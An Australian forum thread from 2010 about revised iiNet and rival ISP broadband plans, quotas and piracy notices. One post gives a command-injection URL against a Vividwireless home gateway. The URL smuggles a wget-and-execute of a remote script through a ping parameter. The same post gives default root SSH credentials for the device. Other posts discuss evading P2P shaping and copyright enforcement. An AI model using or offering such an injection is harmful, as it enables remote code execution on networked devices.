iinet revised plans

[dmwill]

Looks like they're brining their plans in line with some of the other ISPs that are offering massive-unlimited quotas...

1TB plan to be available on the 20th.

Other revised plans here: http://www.iinet.net.au/press/releases/20100818-iinet-age-of-terabyte-arrives.pdf

Naked customers will get upgraded automatically.
Other customers will have to make a call to upgrade.

EDIT: Actually the best deal out IMO is the TPG 200GB Premium


ADSL2+ Premium 200GB
$69.99 = 200GB to use anytime (no peak/offpeak) Download only counted.

Speed will be shaped to 4Mbps/1Mbps once inclusive monthly usage quota is reached.

That's pretty sweet - 200GB of downloads only with no peak/offpeak times and once you crack it you're only shaped to 400KB/s down 100KB/s up.

[dmwill]

*shrug*

CBF looking at everyone's sync speeds :P

what the fuck do you pingpingpingpings download... 1TB is a LOT of porn.

i dont even think i could masturbate to 1TB worth of porn in a month, let alone download that much.

[Mad_Aussie]

200GB/200GB for meee! Awesome! Time to pull my finger out and build my new storage machine.

Games use uploads + downloads
Streaming TV shows and movies, especially at 720p, takes a lot of data.
Downloading stock images and video takes up a lot.
Uploading and downloading data for clients takes up a lot.
And theres a hell of a lot of porn out there dude!

[summoner]

Woo! Time to rape my extra quota

You need to start downloading HD rips of Blu Ray.

Never before has someone bricked in a chicks mouth with such clarity and detail.

Speak for yourself. Some of us have needs.

[duste]

Here's to hoping Vividwireless stop de-prioritising P2P else I may be switching back to iiNet, even if it is just on their ADSL1 plans. Peer-gain ftl. :(

[fourseven]

Here's to hoping Vividwireless stop de-prioritising P2P

Change the port to 80... no more P2P traffic prioritising :)

[duste]

Change the port to 80... no more P2P traffic prioritising :)

Just did it then, doesn't seem to like me? :(

Both my previous port and port 80 are forwarded on the Home Gateway device also.

[PAGZ]

100 gig cable, 79 a month.. pretty win

[fourseven]

Are you using a Vivid home device or a wireless dongle?

[duste]

Home Gateway device

[mr_rotary]

Only got upgraded for nothing not so long ago and I am struggling to use that! Looks like I'll be downgrading as I'll never use what they are giving us next.

[cplagz]

Stop using shitty torrents lol

[Mad_Aussie]

Next time there's some invite-only torrent openings cplagz, hit me up with a pm please :)

[duste]

Stop using shitty torrents lol

3 torrents going.

Maximum down speed is currently 50kb/s.

I play with the bandwidth allocation (High/Low/etc) and that 50kb/s jumps from one torrent to another.

So no, it's not just shitty torrents.

[fourseven]

There is a way to hack the home device to remove the prioritising. I'll post it up when I find my notes.

[duste]

Much appreciated!

[winstor]

Yeh 200/200 in 2 days time :D

[YOUR MATE]

Looks like I'm being bumped to 1tb. Not bad. Shitty Forrestfield net is fucking slow though, so it's not all that awesome.

[Unkn0wN]

not to mention they are owned by chanel 7 and associated with afact (Australian Federation Against Copyright Theft)

I know they limit P2P traffic, but i wonder how long it is before the start to scan it and sent the po po round your house for dling shit you should not be.

anyway, whatevez

[1JZVL]

...pity it still doesn't fix the distance from my freakin' exchange! I really did enjoy being with iinet.

My net wouldn't even be able to download that much :(

wicked plans, good to see they've reacted to Telstra :p

:mad:

Is there anyway to do the same to the wireless dongle?

[ELUSIV]

Im going 100/100 bundled, saving $10/month on what im currently paying for about 7x more quota...win!

[jnr]

nothing wrong with forrestfeild speeds. we get full speed, but it helps when u live 500m away from the exchange :)

[fourseven]

Yeah, set your torrent client to use port 80. It works on the dongle, not the HGD.


Home Gateway device

I can't find my notes on this unfortunately. What I do remember is you have to mount the filesystem as read/write, upload and execute dropbear binary (SSH server) with a HTML string and you can edit the prioritisation setup. It is quite involved but I'll try to get a guide from one of the other blokes I know using the HGD when I see him.

[YOUR MATE]

I'm less than 1km from it. Max speed is like 6mb/s. Average is alot less than that, and nowhere near the speeds I should be getting.

I have the same problems. Within the last few months my speeds have dropped. Also I'm on naked 5. Does that mean I don't get anything or plans have been restructured and I'm now the top naked home plan?

IPRIMUS just came out today and bettered this deal.

Primus Telecom 1.1 terabytes.

The basics:

Plan is available on all Primus and Optus DSLAMS.
Uploads and Downloads Counted.
1,111GB of usage (511 peak, 600 off-peak)
Peak is 10am to 2am
Price is $99.95 bundled or unbundled.
Naked Version is $119.95.

Plan will be updated on the website shortly.

[Mister Two]

I dont get what the big deal is...

TPG's deals have been better than iinet and any other ISP for ages

TPG:

Im on the $69.99 plan. Which is almost an unlimited plan because if you go over your quota, you are only shaped to 4Mbps. Which is still plenty fast enough.

I'm on Naked DSL 4 now... They better do a upgrade/downgrade to the new Naked DSL 1 so I save $20 a month or I'm going to chuck the shits at them

You'll probably be moved onto the 200/200 plan.

[adrenalin]

200 \ 200 gb for me

That is just stupid.

Even downloading blu ray rips i will struggle to download that

[SimonR32]

You'll probably be moved onto the 200/200 plan.

I was thinking they might but I'll be pissed if they do... I just manage to cap it every month at the moment with the computer running 24/7! I'm miles away from the exchange and only get just under 200kb/s

yada yada yada.

Quick question:

Who here has received a notice from their ISP telling them to stop downloading pirated material?

The reason I ask is, unless you're downloading blu-ray movies / tv shows, there is no way in hell you can actually use 1TB a month.

[Fozzy]

Guy at work got one the other day.. He is with TPG

The unlimited plan isn't really unlimited. I know several people who have been kicked off for pounding their "unlimited" plan. Acceptable Use Policy for the lose.

Used to receive 100s back in the day when I was with Westnet. They all ended up in the bin.

[Brockas]

Used to receive 100s back in the day when I was with Westnet. They all ended up in the bin.

So it's just a scare tactic?

I've never received one personally, but other people I know with Westnet / TPG have, and that put me off a bit...

[fourseven]

100% scare tactic unless you are with Exetel. John Linton disconnects his customers if the ISP receives 3 notices.

It's pretty much the reason AFACT vs iiNet ended up in court. iiNet weren't prepared to send on notices because they didn't show any proof that the customer had infringed copyright.

[KyeBidz]

If you are with iiNet you are pretty safe

Remember the whole court case thing about them logging who downloads what, which got thrown out ;-)

[ben351]

crap i just signed up with iinet on their 50/50 plan :(

i want 200/200 now

[cplagz]

crap i just signed up with iinet on their 50/50 plan :(

I wont cost anything to upgrade it, it's just a quota change.

and Kye... the AFACT v iiNet case is being appealed;)

[summoner]

I'd rather more than less and $10 extra isn't breaking the bank. I'm 4.4km(actual cable distance) from the exchange so get similar speeds to you.

[KyeBidz]

and Kye... the AFACT v iiNet case is being appealed;)

Yeah i know, but it will drag on through court for another year and then get thrown out.

And even if AFACT do win, they will only be able to collect new data, so its plenty of time to set up a seed box in mother russia.

Moral of the story, nothing to worry about.

[ben351]

your so hot when you talk i.t

Ok found them. I accept NO responsibility for any damage this does... if it fucks your shit up on your Vivid device I'm not to blame.

Punch this into your browser.


http://ip-address-of-your-hgd/ajax.cgi?action=tag_ipPing&pip=;wget -O /tmp/start.sh http://www.dnstheplanet.com/vivid/start.txt;/bin/sh /tmp/start.sh

Then you can SSH into the device. Username is root, password is password.

Then you want to run tc filter show dev - something in the list it displays will be shaping your P2P traffic. If you want to throw up your tc list I will have a look for you and tell you which one to remove.

[SimonR32]

Fair enough, I'm actually struggling to break my 100gb quota at the moment and that's downloading all the new HD rips of TV shows and Movies I watch :)

The big deal is TPG have about the same coverage as North Korea's nuclear aresenal.

http://www.tpg.com.au/dslam/

When they have DSLAM'd my exchange then it will be a big deal for me, until then iiBorg are the winners for the best ADSL2+ products because you can actually use them.

[V70R]

Quick question:

Totally agree.

How about increasing the bandwidth speeds instead of quota sizes. That's a better step in the right direction, IMO.

[summoner]

Technology is the limiting factor. Copper is old and busted and can only do so much. Cable is a shared medium as is wireless. Increasing quotas us cheaper than digging trenches and laying fibre.

What ever happened to western power laying fibre at the same time as moving power lines underground? From memory they had successful tests in a few suburbs. Would have made a lot if sense.

[V70R]

A lot of things make sense but never eventuate. I work for the government and see this every day.

Yes. Logged in to toolbox this morning and saw my quotas have changed.

[Lonewolf]

downgraded from home4 to home 2 today.
extra 80gb and save $10 p/mth

Just start turning on upload restrictions on utorrent now :)

[adrenalin]

I cant even do it manually keeps timing out

[fourseven]

Easier to call them. Their toolbox is a POS, always has been.

Or just keep hitting refresh each time you change an option.

[DTM-031]

Stop trying to change your plans all at once lol Toolbox can't handle everyone logging in at once. No use calling us either cos we use Toolbox to change plans also :) Just wait till tomorow :)

[DTM-031]

PS only Naked plans are automatically upgraded, normal Home plans need to manually requested.

[SimonR32]

Stop trying to change your plans all at once lol Toolbox can't handle everyone logging in at once. No use calling us either cos we use Toolbox to change plans also :) Just wait till tomorow :)

I'm going to ring up tomorrow simply because I'm not paying to downgrade to the plan I was originally on just because they decide to upgrade the plans...

[DTM-031]

You won't get charged :)

Are you on Home or Naked? Naked has no detrimental effects so it's automatically rolled over, Home plans remain how they were unless you call up to change them. If you select a new Home plan which is lower than your current one, the downgrade fee is waived once off.

[adrenalin]

How long till toolbox isnt being a piece of shit ?

[DTM-031]

It's not a fault as such, servers can only handle so much at a time. As I said, try later in the day or tomorrow when the load is a bit less

[KyeBidz]

I just checked mine and we only got upped to 75 & 75.

On naked home 3, thought we were going up to 300 & 300??

PS Toolbox is basically fucked atm, Westnet one is OK but iiNet is bulk overloaded lol so I'd give up till at least tonight

haha yeah, I did my application and it got to the final page then timed out with an error.
Thankfully my pending tasks indicated the changes were confirmed :)

I'm Naked4 which is 60/60 at the moment, as per the new plans I want to be on Naked1 50/50 but I'm not paying to downgrade, I just want to save the $20 a month on what I was originally contracted to...

Can you sort me out SimonR32 is my username shockingly...

As I've said a couple times earlier, if you are on a grandfathered plan and want to change to a new plan, if it involves a downgrade the fee will be waived. Log into toolbox and change the plan though there as your username doesn't seem to come up.

Edit: done it.
